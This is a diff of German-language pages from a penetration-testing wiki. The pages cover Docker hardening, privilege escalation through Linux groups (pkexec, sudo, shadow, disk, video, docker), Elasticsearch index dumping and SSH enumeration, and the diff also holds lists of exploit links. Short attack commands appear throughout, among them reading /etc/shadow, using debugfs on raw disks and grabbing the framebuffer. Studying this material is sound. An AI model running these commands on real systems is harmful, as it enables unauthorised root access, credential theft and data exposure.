- [**Entfernen Sie alle Fähigkeiten**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) und aktivieren Sie nur die, die erforderlich sind** (`--cap-add=...`). Viele Arbeitslasten benötigen keine Fähigkeiten, und das Hinzufügen erhöht den Umfang eines potenziellen Angriffs.
- [**Verwenden Sie die Sicherheitsoption „no-new-privileges“**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), um zu verhindern, dass Prozesse mehr Privilegien erlangen, beispielsweise durch SUID-Binärdateien.
- [**Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Ressourcenlimits können die Maschine vor Denial-of-Service-Angriffen schützen.
- **Passen Sie** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(oder SELinux)** Profile an, um die Aktionen und Syscalls, die für den Container verfügbar sind, auf das Minimum zu beschränken.
- **Verwenden Sie** [**offizielle Docker-Images**](https://docs.docker.com/docker-hub/official_images/) **und verlangen Sie Signaturen** oder erstellen Sie Ihre eigenen basierend auf ihnen. Erben oder verwenden Sie keine [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) Images. Bewahren Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort auf. Docker plant, Schlüssel mit UCP zu verwalten.
- **Bauen Sie regelmäßig** Ihre Images neu, um **Sicherheitsupdates auf den Host und die Images anzuwenden.**
- **Bauen Sie regelmäßig** **Ihre Images neu, um** **Sicherheitspatches auf den Host und die Images anzuwenden.**
- Verwalten Sie Ihre **Secrets weise**, damit es für den Angreifer schwierig ist, darauf zuzugreifen.
- Wenn Sie **den Docker-Daemon exponieren, verwenden Sie HTTPS** mit Client- und Serverauthentifizierung.
- In Ihrem Dockerfile, **bevorzugen Sie COPY anstelle von ADD**. ADD extrahiert automatisch gezippte Dateien und kann Dateien von URLs kopieren. COPY hat diese Fähigkeiten nicht. Vermeiden Sie wann immer möglich die Verwendung von ADD, damit Sie nicht anfällig für Angriffe über entfernte URLs und Zip-Dateien sind.
- Haben Sie **getrennte Container für jeden Mikro-s**ervice.
- **Setzen Sie kein ssh** innerhalb des Containers ein, „docker exec“ kann verwendet werden, um sich in den Container einzuloggen.
- **Setzen Sie ssh** nicht in den Container, „docker exec“ kann verwendet werden, um sich in den Container einzuloggen.
- Haben Sie **kleinere** Container **Images**.
## Docker Breakout / Privilegieneskalation
Wenn Sie **innerhalb eines Docker-Containers** sind oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **zu entkommen und Privilegien zu eskalieren**:
Wenn Sie **in einem Docker-Container** sind oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **zu entkommen und Privilegien zu eskalieren**:
{{#ref}}
docker-breakout-privilege-escalation/
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
## Umgehung des Docker-Authentifizierungs-Plugins
Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, aber Ihre Aktionen durch ein Docker-Auth-Plugin eingeschränkt werden, überprüfen Sie, ob Sie es **umgehen können:**
Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe haben, aber Ihre Aktionen durch ein Docker-Auth-Plugin eingeschränkt werden**, überprüfen Sie, ob Sie es **umgehen können:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md

24
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -33,7 +33,7 @@ cat /etc/polkit-1/localauthority.conf.d/*
```
Dort finden Sie, welche Gruppen berechtigt sind, **pkexec** auszuführen, und **standardmäßig** erscheinen in einigen Linux-Distributionen die Gruppen **sudo** und **admin**.
Um **root zu werden, können Sie** ausführen:
Um **root zu werden, können Sie** Folgendes ausführen:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
@ -56,13 +56,13 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
```
## Wheel-Gruppe
**Manchmal** **findet man** **standardmäßig** in der **/etc/sudoers**-Datei diese Zeile:
**Manchmal** **findet man standardmäßig** in der **/etc/sudoers**-Datei diese Zeile:
```
%wheel ALL=(ALL:ALL) ALL
```
Das bedeutet, dass **jeder Benutzer, der zur Gruppe wheel gehört, alles als sudo ausführen kann**.
Wenn dies der Fall ist, um **root zu werden, können Sie einfach ausführen**:
Wenn dies der Fall ist, können Sie **zum Root werden, indem Sie einfach** ausführen:
```
sudo su
```
@ -109,7 +109,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploits**
**Ausnutzen**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
@ -146,11 +146,11 @@ Beachten Sie, dass Sie mit debugfs auch **Dateien schreiben** können. Um beispi
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Wenn Sie jedoch versuchen, **Dateien, die root gehören, zu schreiben** (wie `/etc/shadow` oder `/etc/passwd`), erhalten Sie einen "**Zugriff verweigert**" Fehler.
Wenn Sie jedoch versuchen, **Dateien, die root gehören**, zu **schreiben** (wie `/etc/shadow` oder `/etc/passwd`), erhalten Sie einen "**Zugriff verweigert**" Fehler.
## Video Gruppe
Mit dem Befehl `w` können Sie **herausfinden, wer im System angemeldet ist** und es wird eine Ausgabe wie die folgende angezeigt:
Mit dem Befehl `w` können Sie **herausfinden, wer im System angemeldet ist**, und es wird eine Ausgabe wie die folgende angezeigt:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Die **tty1** bedeutet, dass der Benutzer **yossi physisch** an einem Terminal auf der Maschine angemeldet ist.
Die **video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
Die **Video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -199,11 +199,15 @@ Schließlich, wenn Ihnen keine der vorherigen Vorschläge gefällt oder sie aus
../docker-security/
{{#endref}}
Wenn Sie Schreibberechtigungen über den Docker-Socket haben, lesen Sie [**diesen Beitrag darüber, wie man Privilegien durch den Missbrauch des Docker-Sockets eskaliert**](../#writable-docker-socket)**.**
Wenn Sie Schreibberechtigungen über den Docker-Socket haben, lesen Sie [**diesen Beitrag darüber, wie man Privilegien durch den Docker-Socket eskaliert**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## lxc/lxd Gruppe

28
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Admin Gruppen
## **PE - Methode 1**
@ -25,7 +24,8 @@ Finde alle SUID-Binärdateien und überprüfe, ob die Binärdatei **Pkexec** vor
```bash
find / -perm -4000 2>/dev/null
```
Wenn Sie feststellen, dass die Binärdatei pkexec eine SUID-Binärdatei ist und Sie zu sudo oder admin gehören, könnten Sie wahrscheinlich Binärdateien als sudo mit pkexec ausführen. Überprüfen Sie den Inhalt von:
Wenn Sie feststellen, dass die Binärdatei pkexec eine SUID-Binärdatei ist und Sie zu sudo oder admin gehören, könnten Sie wahrscheinlich Binärdateien als sudo mit pkexec ausführen.
Überprüfen Sie den Inhalt von:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@ -41,7 +41,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern daran, dass Sie ohne eine GUI nicht verbunden sind**. Und es gibt eine Lösung für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern daran, dass Sie ohne eine GUI nicht verbunden sind**. Und es gibt einen Workaround für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -64,9 +64,9 @@ Wenn dies der Fall ist, um **root zu werden, können Sie einfach ausführen**:
```text
sudo su
```
# Shadow Group
# Shadow-Gruppe
Benutzer der **Gruppe shadow** können die **/etc/shadow** Datei **lesen**:
Benutzer der **Gruppe shadow** können die **/etc/shadow**-Datei **lesen**:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
@ -76,7 +76,7 @@ So, lesen Sie die Datei und versuchen Sie, **einige Hashes zu knacken**.
Dieses Privileg ist fast **äquivalent zu Root-Zugriff**, da Sie auf alle Daten innerhalb der Maschine zugreifen können.
Dateien:`/dev/sd[a-z][1-9]`
Dateien: `/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -101,7 +101,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Die **tty1** bedeutet, dass der Benutzer **yossi physisch** an einem Terminal auf der Maschine angemeldet ist.
Die **video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
Die **Video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -110,13 +110,13 @@ Um das **raw image** zu **öffnen**, können Sie **GIMP** verwenden, die **`scre
![](../../images/image%20%28208%29.png)
Ändern Sie dann die Breite und Höhe auf die Werte, die auf dem Bildschirm verwendet werden, und überprüfen Sie verschiedene Bildtypen \(und wählen Sie den aus, der den Bildschirm am besten darstellt\):
Ändern Sie dann die Breite und Höhe auf die Werte, die auf dem Bildschirm verwendet werden, und überprüfen Sie verschiedene Bildtypen \(und wählen Sie denjenigen aus, der den Bildschirm am besten darstellt\):
![](../../images/image%20%28295%29.png)
# Root-Gruppe
Es scheint, dass standardmäßig **Mitglieder der Root-Gruppe** Zugriff haben könnten, um einige **Service**-Konfigurationsdateien oder einige **Bibliotheks**-Dateien oder **andere interessante Dinge** zu ändern, die zur Eskalation von Rechten verwendet werden könnten...
Es scheint, dass **Mitglieder der Root-Gruppe** standardmäßig Zugriff auf die **Änderung** einiger **Service**-Konfigurationsdateien oder einiger **Bibliotheks**-Dateien oder **anderer interessanter Dinge** haben, die zur Eskalation von Rechten verwendet werden könnten...
**Überprüfen Sie, welche Dateien Root-Mitglieder ändern können**:
```bash
@ -124,11 +124,15 @@ find / -group root -perm -g=w 2>/dev/null
```
# Docker-Gruppe
Sie können das Root-Dateisystem des Host-Systems in das Volume einer Instanz einbinden, sodass beim Start der Instanz sofort ein `chroot` in dieses Volume geladen wird. Dies gibt Ihnen effektiv Root-Zugriff auf die Maschine.
Sie können das Root-Dateisystem des Host-Systems in das Volume einer Instanz einhängen, sodass beim Start der Instanz sofort ein `chroot` in dieses Volume geladen wird. Dies gibt Ihnen effektiv Root-Zugriff auf die Maschine.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd Gruppe

92
src/misc/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

4
src/network-services-pentesting/5439-pentesting-redshift.md
View File

@ -8,6 +8,8 @@ Dieser Port wird von **Redshift** verwendet. Es ist im Grunde eine AWS-Variante
Für weitere Informationen siehe:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

8
src/network-services-pentesting/9100-pjl.md
View File

@ -2,9 +2,9 @@
# Grundinformationen
Von [hier](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Rohdruck ist der Prozess, eine Verbindung zu Port 9100/tcp eines Netzwerkdruckers herzustellen. Es ist die Standardmethode, die von CUPS und der Windows-Druckarchitektur verwendet wird, um mit Netzwerkdruckern zu kommunizieren, da sie als ‘_das einfachste, schnellste und im Allgemeinen zuverlässigste Netzwerkprotokoll für Drucker_’ gilt. Rohport 9100-Druck, auch bekannt als JetDirect, AppSocket oder PDL-Datenstrom, ist tatsächlich **kein Druckprotokoll an sich**. Stattdessen **werden alle gesendeten Daten direkt vom Druckgerät verarbeitet**, ähnlich wie bei einer parallelen Verbindung über TCP. Im Gegensatz zu LPD, IPP und SMB kann dies direktes Feedback an den Client senden, einschließlich Status- und Fehlermeldungen. Ein solches **bidirektionales Kanal** gibt uns direkten **Zugang** zu **Ergebnissen** von **PJL**, **PostScript** oder **PCL**-Befehlen. Daher wird der Rohport 9100-Druck – der von fast jedem Netzwerkdrucker unterstützt wird – als Kanal für Sicherheitsanalysen mit PRET und PFT verwendet.
Von [hier](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Rohdruck ist der Prozess, eine Verbindung zu Port 9100/tcp eines Netzwerkdruckers herzustellen. Es ist die Standardmethode, die von CUPS und der Windows-Druckarchitektur verwendet wird, um mit Netzwerkdruckern zu kommunizieren, da sie als „_das einfachste, schnellste und im Allgemeinen zuverlässigste Netzwerkprotokoll für Drucker_“ gilt. Rohport 9100-Druck, auch bekannt als JetDirect, AppSocket oder PDL-Datenstrom, ist tatsächlich **kein Druckprotokoll an sich**. Stattdessen **werden alle gesendeten Daten direkt vom Druckgerät verarbeitet**, ähnlich wie bei einer parallelen Verbindung über TCP. Im Gegensatz zu LPD, IPP und SMB kann dies direktes Feedback an den Client senden, einschließlich Status- und Fehlermeldungen. Ein solches **bidirektionales Kanal** gibt uns direkten **Zugang** zu **Ergebnissen** von **PJL**, **PostScript** oder **PCL**-Befehlen. Daher wird der Rohport 9100-Druck – der von fast jedem Netzwerkdrucker unterstützt wird – als Kanal für Sicherheitsanalysen mit PRET und PFT verwendet.
Wenn Sie mehr über [**Hacking-Drucker erfahren möchten, lesen Sie diese Seite**](http://hacking-printers.net/wiki/index.php/Main_Page).
Wenn Sie mehr über [**das Hacken von Druckern erfahren möchten, lesen Sie diese Seite**](http://hacking-printers.net/wiki/index.php/Main_Page).
**Standardport:** 9100
```
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
Dies ist das Tool, das Sie verwenden möchten, um Drucker auszunutzen:
{% embed url="https://github.com/RUB-NDS/PRET" %}
{{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **Shodan**

19
src/network-services-pentesting/9200-pentesting-elasticsearch.md
View File

@ -4,7 +4,7 @@
## Grundinformationen
Elasticsearch ist eine **verteilte**, **Open Source** Such- und Analyse-Engine für **alle Arten von Daten**. Es ist bekannt für seine **Geschwindigkeit**, **Skalierbarkeit** und **einfachen REST-APIs**. Basierend auf Apache Lucene wurde es erstmals 2010 von Elasticsearch N.V. (jetzt bekannt als Elastic) veröffentlicht. Elasticsearch ist der Kernbestandteil des Elastic Stack, einer Sammlung von Open Source-Tools für Datenaufnahme, -anreicherung, -speicherung, -analyse und -visualisierung. Dieser Stack, allgemein als ELK Stack bezeichnet, umfasst auch Logstash und Kibana und hat jetzt leichte Datenversandagenten namens Beats.
Elasticsearch ist eine **verteilte**, **Open Source** Such- und Analyse-Engine für **alle Arten von Daten**. Es ist bekannt für seine **Geschwindigkeit**, **Skalierbarkeit** und **einfachen REST-APIs**. Basierend auf Apache Lucene wurde es erstmals 2010 von Elasticsearch N.V. (jetzt bekannt als Elastic) veröffentlicht. Elasticsearch ist der Kernbestandteil des Elastic Stack, einer Sammlung von Open Source-Tools für Datenaufnahme, -anreicherung, -speicherung, -analyse und -visualisierung. Dieser Stack, der allgemein als ELK Stack bezeichnet wird, umfasst auch Logstash und Kibana und hat jetzt leichte Datenversandagenten namens Beats.
### Was ist ein Elasticsearch-Index?
@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Das bedeutet, dass die Authentifizierung konfiguriert ist und **gültige Anmeldeinformationen** benötigt werden, um Informationen von Elasticsearch zu erhalten. Dann können Sie [**versuchen, es zu bruteforcen**](../generic-hacking/brute-force.md#elasticsearch) (es verwendet HTTP Basic Auth, daher kann alles, was BF HTTP Basic Auth kann, verwendet werden).\
Das bedeutet, dass die Authentifizierung konfiguriert ist und **Sie gültige Anmeldeinformationen benötigen**, um Informationen von Elasticsearch zu erhalten. Dann können Sie [**versuchen, es zu bruteforcen**](../generic-hacking/brute-force.md#elasticsearch) (es verwendet HTTP Basic Auth, daher kann alles, was BF HTTP Basic Auth kann, verwendet werden).\
Hier haben Sie eine **Liste der Standardbenutzernamen**: _**elastic** (Superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Ältere Versionen von Elasticsearch haben das Standardpasswort **changeme** für diesen Benutzer.
```
curl -X GET http://user:password@IP:9200/
@ -87,7 +87,7 @@ Hier sind einige Endpunkte, die Sie **über GET** **zugreifen können**, um eini
| /\_cat/nodes | | |
Diese Endpunkte wurden [**aus der Dokumentation entnommen**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html), wo Sie **mehr finden**.\
Wenn Sie auch `/_cat` aufrufen, enthält die Antwort die unterstützten `/_cat/*` Endpunkte der Instanz.
Wenn Sie `/_cat` aufrufen, enthält die Antwort die unterstützten `/_cat/*` Endpunkte der Instanz.
In `/_security/user` (wenn Authentifizierung aktiviert ist) können Sie sehen, welcher Benutzer die Rolle `superuser` hat.
@ -100,21 +100,21 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```
Um **Informationen darüber zu erhalten, welche Art von Daten in einem Index gespeichert ist**, können Sie auf `http://host:9200/<index>` zugreifen, im Beispiel in diesem Fall `http://10.10.10.115:9200/bank`
Um **Informationen darüber zu erhalten, welche Art von Daten in einem Index gespeichert sind**, können Sie auf: `http://host:9200/<index>` zugreifen, im Beispiel in diesem Fall `http://10.10.10.115:9200/bank`
![](<../images/image (342).png>)
### Index dumpen
Wenn Sie **alle Inhalte** eines Index dumpen möchten, können Sie auf `http://host:9200/<index>/_search?pretty=true` zugreifen, wie `http://10.10.10.115:9200/bank/_search?pretty=true`
Wenn Sie **alle Inhalte** eines Index dumpen möchten, können Sie auf: `http://host:9200/<index>/_search?pretty=true` zugreifen, wie `http://10.10.10.115:9200/bank/_search?pretty=true`
![](<../images/image (914).png>)
_Nehmen Sie sich einen Moment Zeit, um die Inhalte jedes Dokuments (Eintrag) im Bank-Index und die Felder dieses Index, die wir im vorherigen Abschnitt gesehen haben, zu vergleichen._
_Nehmen Sie sich einen Moment Zeit, um die Inhalte jedes Dokuments (Eintrag) im Bankindex und die Felder dieses Index, die wir im vorherigen Abschnitt gesehen haben, zu vergleichen._
Zu diesem Zeitpunkt könnten Sie bemerken, dass **es ein Feld namens "total" innerhalb von "hits" gibt**, das anzeigt, dass **1000 Dokumente gefunden wurden** in diesem Index, aber nur 10 abgerufen wurden. Dies liegt daran, dass **standardmäßig eine Begrenzung von 10 Dokumenten besteht**.\
Aber jetzt, da Sie wissen, dass **dieser Index 1000 Dokumente enthält**, können Sie **alle dumpen**, indem Sie die Anzahl der Einträge, die Sie dumpen möchten, im **`size`**-Parameter angeben: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_Hinweis: Wenn Sie eine größere Zahl angeben, werden alle Einträge trotzdem dumpen, zum Beispiel könnten Sie `size=9999` angeben und es wäre seltsam, wenn es mehr Einträge gäbe (aber das sollten Sie überprüfen)._
\&#xNAN;_Hinweis: Wenn Sie eine größere Zahl angeben, werden trotzdem alle Einträge gedumpt, zum Beispiel könnten Sie `size=9999` angeben und es wäre seltsam, wenn es mehr Einträge gäbe (aber das sollten Sie überprüfen)._
### Alles dumpen
@ -161,11 +161,12 @@ Einige Tools werden einige der zuvor präsentierten Daten abrufen:
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
{{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan
- `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
View File

@ -4,7 +4,9 @@
# **Standardpasswörter**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
{{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# Konfigurationsdateien
```text

6
src/network-services-pentesting/pentesting-kerberos-88/README.md
View File

@ -27,9 +27,11 @@ PORT STATE SERVICE
Der MS14-068-Fehler ermöglicht es einem Angreifer, das Kerberos-Login-Token eines legitimen Benutzers zu manipulieren, um fälschlicherweise erhöhte Berechtigungen zu beanspruchen, wie z.B. ein Domain-Admin zu sein. Diese gefälschte Behauptung wird fälschlicherweise vom Domain Controller validiert, was unbefugten Zugriff auf Netzwerkressourcen im gesamten Active Directory-Wald ermöglicht.
{% embed url="https://adsecurity.org/?p=541" %}
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Andere Exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Weitere Exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Automatische Befehle
```

48
src/network-services-pentesting/pentesting-ssh.md
View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Grundlegende Informationen
**SSH (Secure Shell oder Secure Socket Shell)** ist ein Netzwerkprotokoll, das eine sichere Verbindung zu einem Computer über ein unsicheres Netzwerk ermöglicht. Es ist entscheidend für die Wahrung der Vertraulichkeit und Integrität von Daten beim Zugriff auf entfernte Systeme.
@ -26,13 +24,13 @@
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD Java-Bibliothek basiert auf Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2-Protokollbibliothek
## Enumeration
## Aufzählung
### Banner Grabbing
### Banner-Grabbing
```bash
nc -vn <IP> 22
```
### Automatisiertes ssh-audit
### Automatisierter ssh-audit
ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -Clients.
@ -43,11 +41,11 @@ ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -
- Unterstützung für die Protokolle SSH1 und SSH2;
- Analyse der SSH-Client-Konfiguration;
- Banner erfassen, Gerät oder Software und Betriebssystem erkennen, Kompression erkennen;
- Schlüssel-Austausch-, Host-Schlüssel-, Verschlüsselungs- und Nachrichten-Authentifizierungscode-Algorithmen sammeln;
- Schlüsselwechsel-, Hostschlüssel-, Verschlüsselungs- und Nachrichten-Authentifizierungscode-Algorithmen sammeln;
- Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.);
- Algorithmus-Empfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion);
- Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion);
- Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.);
- Analyse der SSH-Version-Kompatibilität basierend auf Algorithmusinformationen;
